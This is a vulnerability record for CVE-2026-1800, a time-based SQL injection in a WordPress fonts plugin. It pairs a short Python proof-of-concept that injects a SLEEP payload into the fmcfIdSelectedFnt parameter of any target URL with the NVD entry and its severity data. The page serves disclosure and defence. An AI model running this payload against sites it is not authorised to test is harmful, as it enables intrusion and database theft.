CVE-2026-1800

# PoC Code for CVE-2026-1800 # This script demonstrates the time-based SQL injection vulnerability # Usage: python3 poc.py <target_url> import requests import time import sys def check_sqli(url): # Vulnerable parameter: fmcfIdSelectedFnt # Payload: Check if database response time delays by 5 seconds payload = "1' AND SLEEP(5)-- -" # Construct the full request URL (Assuming GET request based on common WP plugin behavior) # Note: The actual endpoint might need adjustment based on the plugin's specific routing target_url = f"{url}?fmcfIdSelectedFnt={payload}" try: start_time = time.time() response = requests.get(target_url, timeout=10) end_time = time.time() elapsed_time = end_time - start_time if elapsed_time >= 5: print(f"[+] Vulnerability confirmed! Response time: {elapsed_time:.2f} seconds") print(f"[+] The target is vulnerable to CVE-2026-1800") else: print(f"[-] Vulnerability not detected. Response time: {elapsed_time:.2f} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <http://target-site.com>") else: check_sqli(sys.argv[1])

{"cve": {"id": "CVE-2026-1800", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:54.520", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Fonts Manager | Custom Fonts plugin for WordPress is vulnerable to time-based SQL Injection via the ‘fmcfIdSelectedFnt’ parameter in all versions up to, and including, 1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}, {"lang": "es", "value": "El plugin Fonts Manager | Custom Fonts para WordPress es vulnerable a inyección SQL basada en tiempo a través del parámetro 'fmcfIdSelectedFnt' en todas las versiones hasta la 1.2, inclusive, debido a un escape insuficiente en el parámetro proporcionado por el usuario y la falta de preparación suficiente en la consulta SQL existente. Esto hace posible que atacantes no autenticados añadan consultas SQL adicionales en consultas ya existentes que pueden usarse para extraer información sensible de la base de datos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fonts-manager-custom-fonts/tags/1.2/classes/fmcf_stylish_font.php#L99", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fonts-manager-custom-fonts/tags/1.2/includes/fmcf-stylish-fonts-functions.php#L552", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fonts-manager-custom-fonts/tags/1.2/includes/fmcf-stylish-fonts-functions.php#L573", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fonts-manager-custom-fonts/tags/1.2/includes/fmcf-stylish-fonts-functions.php#L626", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0a37f3bf-5eaf-449d-a1d0-c86ae1a61078?source=cve", "source": "[email protected]"}]}}